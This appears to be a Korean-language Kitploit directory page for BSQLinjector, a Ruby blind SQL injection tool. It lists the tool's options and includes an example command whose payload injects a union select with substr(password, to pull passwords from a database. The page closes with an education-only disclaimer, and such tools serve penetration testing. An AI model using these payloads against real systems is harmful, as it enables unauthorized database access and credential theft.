Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
BSQLinjector — 루비로 작성된 블라인드 SQL 인젝션 공격 도구. | Kitploit
도구/GitHubGitHub/enjoiz/bsqlinjector
Vulnerability AnalysisWeb Application ExploitationPenetration Testing
GitHubenjoiz/bsqlinjector

BSQLinjector

루비로 작성된 블라인드 SQL 인젝션 공격 도구.

저장소 보기
100271년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

BSQLinjector

BSQLinjector는 블라인드 방식을 사용하여 SQL 데이터베이스에서 데이터를 검색합니다. 애플리케이션에 전송하기 전에 구성된 페이로드가 어떻게 보이는지 명확히 확인하려면 "--test" 스위치를 사용하는 것이 좋습니다.

Options:

root@kitploit:~
  --file	    Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)
  --pattern	    Mandatory - Pattern to look for when query is true. (--pattern=truestatement)
  --prepend	    Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"
  --append	    How to end our payload. For example comment out rest of SQL statement. (--append='#)
  --schar	    Character placed around chars. This character is not used while in hex mode. (--schar="'")
  --2ndfile	    File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)

  --mode	    Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)
  --postgres        Use postgres "for" in substring function (e.g. from 1 for 1).
  --hex		    Use hex to compare instead of characters.
  --case	    Case sensitivity.

  --ssl		    Use SSL.
  --proxy	    Proxy to use. (--proxy=127.0.0.1:8080)

  --test	    Enable test mode. Do not send request, just show full payload.
  --special	    Include all special characters in enumeration.
  --start	    Start enumeration from specified character. (--start=10)
  --max		    Maximum characters to enumerate. (--max=10)
  --timeout	    Timeout in waiting for responses. (--timeout=20)
  --only-final	    Stop showing each enumerated letter.
  --comma	    Encode comma.
  --bracket	    Add brackets to the end of substring function. --bracket="))"
  --hexspace	    Use space instead of brackets to split hex values.
  --verbose	    Show verbose messages.

Example usage:

root@kitploit:~
  ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --schar="'" --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl

면책 조항

이 저장소는 엄격히 교육 목적으로 개발된 도구를 포함하고 있습니다. 불법 활동을 위한 도구의 오용은 엄격히 금지됩니다.

법적 고지

사이버 보안 및 윤리적 해킹과 관련된 모든 현지 법률 및 규정을 이해하고 준수하는 것이 중요합니다. 컴퓨터 시스템, 네트워크 또는 데이터에 대한 무단 접근은 불법이며 법적으로 처벌될 수 있습니다. 이 저장소의 개발자는 여기에 포함된 도구의 오용에 대해 책임을 지지 않습니다.

이 저장소의 도구를 사용함으로써 귀하는 책임감 있고 윤리적으로 사용하는 데 동의합니다. 귀하의 것이 아닌 네트워크, 시스템 또는 데이터를 테스트하거나 접근을 시도하기 전에 항상 명시적인 허가를 받으십시오.

도구 다운로드